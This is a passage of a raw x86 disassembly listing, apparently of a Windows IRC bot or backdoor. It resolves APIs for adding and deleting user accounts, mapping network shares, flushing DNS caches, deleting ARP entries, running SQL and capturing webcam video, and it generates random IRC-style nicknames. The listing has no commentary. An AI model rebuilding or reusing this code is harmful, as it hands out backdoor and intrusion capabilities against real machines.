"NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CAEA0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 2690CE2h mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j call near ptr 2690CE2h nop mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj call near ptr 2690CE2h nop mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 2690CE2h mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 2690CE2h mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j call near ptr 2690CE2h nop mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 2690CE2h mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D330 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D544 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D520 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F0 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C0 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D590o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26A0D63h push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D5F8[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 39h, 60h ; --------------------------------------------------------------------------- sub [edx], eax push eax call sub_41B8D8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26A0D63h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26A0D63h push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431250 push eax push esi nop call near ptr 26D0000h movsx eax, byte_431250 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26A0D63h push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431254 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h nop call near ptr 26E0605h nop call near ptr 26A0D63h push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_43127C loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43126C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431268 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431264 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431260 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431258 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26A0D63h nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431280 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D58C loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D604 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D590[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2E4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 